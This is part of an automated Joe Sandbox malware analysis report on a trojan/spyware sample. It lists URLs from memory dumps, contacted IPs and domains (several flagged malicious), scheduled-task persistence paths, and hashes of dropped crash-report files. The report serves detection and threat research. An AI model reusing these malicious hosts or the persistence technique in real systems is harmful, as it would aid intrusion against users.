https://www.google.com/images/branding/product/ico/googleg_lodp.ico	7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000006.00000003.308076951.000001F894E68000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.309305263.000001F894E6A000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000003.285290195.000001F894E30000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22Response	7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308273099.000001F894E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	7D0A.exe, 00000025.00000002.523953321.0000000002E16000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517387907.0000000003DFA000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.525017087.0000000003BE3000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524467817.0000000002F98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524249981.0000000002ED7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523709480.0000000002D5A000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517036731.0000000003CA7000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524574915.0000000002FAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523453991.0000000002C98000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524875989.0000000003B72000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517269380.0000000003D89000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000003.517139724.0000000003D18000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000012.00000003.379223670.000001994CC02000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379136182.000001994C7A6000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379204449.000001994C78F000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379191597.000001994C77E000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.379166777.000001994C7A6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000006.00000003.308611585.000001F894E4D000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308091317.000001F894E48000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://get.adob	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000002.309257124.000001F894E5C000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308219719.000001F894E5A000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
172.67.139.105	goo.su	United States	13335	CLOUDFLARENETUS	false
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
162.159.133.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
94.142.143.91	host-data-coin-11.com	Russian Federation	35196	IHOR-ASRU	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
141.8.194.74	a0621298.xsph.ru	Russian Federation	35278	SPRINTHOSTRU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553015
Start date:	14.01.2022
Start time:	04:57:29
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	eIxMVDoQF3.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@44/29@81/12
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 11.4% (good quality ratio 8.3%) Quality average: 55.2% Quality standard deviation: 39.9%
HCA Information:	Successful, ratio: 63% Number of executed functions: 84 Number of non-executed functions: 323
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.4.86, 40.91.112.76, 20.54.110.249, 20.42.73.29 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, patmushta.info, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, ris.api.iris.microsoft.com, yabynennet.xyz, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, api.ip.sb, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:58:59	Task Scheduler	Run new task: Firefox Default Browser Agent BDC112E0E00B58A5 path: C:\Users\user\AppData\Roaming\rwjfsvd
04:59:07	API Interceptor	7x Sleep call for process: svchost.exe modified
04:59:11	API Interceptor	1x Sleep call for process: B50.exe modified
04:59:21	API Interceptor	1x Sleep call for process: WerFault.exe modified
04:59:26	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
04:59:50	Task Scheduler	Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
05:00:11	API Interceptor	17x Sleep call for process: 7D0A.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_F805.exe_48ecc3e4e54598c0d23915ff165770ab2c7d13d_b7f76116_14fa801b\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8138022633057784
Encrypted:	false
SSDEEP:	96:EfFrOTL6mieOQoJ7R3V6tpXIQcQec6tycEfcw3W+HbHg/8BRTf3o8Fa9iVfOyWYn:KQH6m68HQ0lrjIq/u7sWS274ItL8
MD5:	02F22F60BF93F5956D9E0B210CA151CE
SHA1:	66D6827F797EDCCAA264B81BCC3E7FB909E9100D
SHA-256:	B2C5618F83C491E93A60107D55E2F7519CF031D12FAD4353A29803132981808A
SHA-512:	F0040663174C0B24C1F725009D6453F2176AD5967106EEBED6597098AFB4F22211232C55B7ABE42442E3CCA6F18E0D8A62B265085B4010A45A7573C30CBC07AB
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.3.8.7.5.1.8.7.7.0.3.9.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.3.8.7.6.0.4.2.3.8.8.4.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.f.d.4.2.7.7.-.8.d.3.6.-.4.9.0.a.-.b.b.0.8.-.5.d.5.2.c.2.6.7.1.2.8.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.b.c.7.b.0.e.a.-.0.f.c.4.-.4.1.d.d.-.9.7.b.3.-.c.f.0.4.7.5.1.7.1.1.4.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.F.8.0.5...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.9.0.-.0.0.0.1.-.0.0.1.c.-.3.3.5.c.-.7.b.8.1.4.6.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.7.e.1.0.0.c.e.7.6.2.1.6.5.7.3.9.6.6.d.e.3.2.6.c.7.b.2.9.c.e.9.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.F.8.0.5...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96E1.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	51224
Entropy (8bit):	3.055446752156576
Encrypted:	false
SSDEEP:	1536:k1H13+K4FOAEgDV1/IYMBfI93WldWfY++Rf/rRqmZ62KRo:k1H13+K4FOAEgDV1/IYMBfI93WXWfY+A
MD5:	30677AA5008D33DCAECB6AB887E4085E
SHA1:	CB12B5447C47606A165E115533F3364DB62C1DC6
SHA-256:	8026D4CB18B9EEF279D7CAC11D5D5444EB9763948206F49FB03D5674F87443D4
SHA-512:	E07B3AF9C8A5492CC74E236CF92CB9205CE09D1ED5C0538D8B5CEBB919B56753CEAC122A35A1C0F7BE6BF2937A3B9A1885899BBBBCCE5FCDF3EBF951B4D001CC
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BF3.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6955015547491628
Encrypted:	false
SSDEEP:	96:9GiZYW1RSmgYuYRWUHBYEZMgt6iXOq+awLXuBxzQa1/g8fI+zI6H3:9jZDWJ7xXTa1YuI+86H3
MD5:	59A12074573B620DCEA59CD4A798F765
SHA1:	6B05ABC99E7D2DAA912409F7EB0CD5508C7758D6
SHA-256:	11D039B4E5777B30DEBD0DD9CA2DEE09C99E98CB03B5C44417ED19BCF45F9EC4
SHA-512:	B89E9258D37BB15B47CE85DA39EB5205D2D20AA00ABBB5D76B7B5E218DB36C451FB78DDD99D763AA622848F273DC755CBE6230C551397CD945FB4183CFCB3207
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE37D.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 12:59:13 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	42152
Entropy (8bit):	2.0066430183292843
Encrypted:	false
SSDEEP:	192:HFRvcFZtdYOeh0kSj12U5sdyWpa1MiKZOtE6VP:q/dfeOxEMu65
MD5:	F628B274C6B60164101448954C45EFF3
SHA1:	CD463E4DE0634EA4431E69A4D900606C8DA2CBC0
SHA-256:	3A6BADC9B83322213065A57A930945ED71C5E95E4C37A39C0845BF98849E152E
SHA-512:	54957A5CB1C71085856DF3FB836EDED530D7A06818B7A6CF15340E6D54FA363FBB10DC27085BFD03FB1DF9B6FE9FDC31CC3F8F9ADD3FA01145DF5FB1D4B64B35
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ........s.a....................................4...v(..........T.......8...........T...........................x...........d....................................................................U...........B..............GenuineIntelW...........T............s.a............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAB2.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8392
Entropy (8bit):	3.699690043327041
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNic5I6P6YFZSU4rPGgmfgRShCpD189b26sfkym:RrlsNiQI6P6Y7SU4ygmfgRST2Zfg
MD5:	A9753AEAD451110AC4CAAA29B755DDB3
SHA1:	4BFA1A12F66A6658FB459B7EE3204AFA0286E12F
SHA-256:	D09C071D33C4F3E5C4737A8D1ACE78F4ACFB66F72FFBEADDA46541E758FE0795
SHA-512:	32868AF61B1FFB881B6CAEF762B990A6AE60038F547D615C8FBD3119DCD6150271CE1464963D53353B7AF197333FADA895B820DEDD88C6648C0DF97F9DDF00C7
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.0.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREF66.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.473487564710429
Encrypted:	false
SSDEEP:	48:cvIwSD8zsRJgtWI995WSC8Bt8fm8M4Jx8qFr+q8vz8x+Jqp0kd:uITfjSISN0JlKE+op0kd
MD5:	6FA942E7A0B9387540319A8CC997EA42
SHA1:	1137F86C001DF8534D536609F9F5AF8E0C3E13B6
SHA-256:	F47EC35D9DD3C8DFF28D7B337F265CE8F91884E86AF3D03B4078EFE1F72E212C
SHA-512:	92911D973CE064C011DD99361C4D65CA10155E2630C4E514A237CF89E0858A1DDC78A8BBE715E78C0C3405A18827E239B799BE15383B3584305902AAAAA0223C
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1341969" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7D0A.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\7D0A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11008162512076788
Encrypted:	false
SSDEEP:	12:26+k1jXm/Ey6q9995qGq3qQ10nMCldimE8eawHjc1F1f:26b4l68MjLyMCldzE9BHjcfd
MD5:	EBCE4E8FF3E15A399552D4690AC37736
SHA1:	79211AAAE61CE12A7C8E53974D5EF0231D3FBF57
SHA-256:	26C30570B0A71B1B711F1618D8F0530F7BD3F6C8C24239C83A499EFA64C65529
SHA-512:	53DB29D3009663FAF11E223BB73E6DD4CD549C7EFD29834F77EF495BE4BC9A3FC3F976D0B5EF86EC306FB3B8E867C575DBD853D33BF6C6149E70921D35D4B796
Malicious:	false
Reputation:	unknown
Preview:	................................................................................T...X....T3@.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1.................................................................... ......._jF...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.T...X...M\3@....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1125318481978825
Encrypted:	false
SSDEEP:	12:L0jXm/Ey6q9995qQ1miM3qQ10nMCldimE8eawHza1miI80P:tl68MQ1tMLyMCldzE9BHza1tI8k
MD5:	9C90F06CC6ACB3A8B7C71F4B9E3EC5A3
SHA1:	805FAA6F88EBD4C2CF661944EE2B62A41AAF2FBB
SHA-256:	3A5F2158913B717BADB36A34B9084E5FF33C8E7D9727ED520A3C24EF69C3DC1A
SHA-512:	4147E871711095822EA66BDCFB5BAA56DAC86493614B40A1A7299C3F175EE669D8648741A2D73F9A14FF920353B627AADFB1285D1D20922061BD49B0EF9D0558
Malicious:	false
Reputation:	unknown
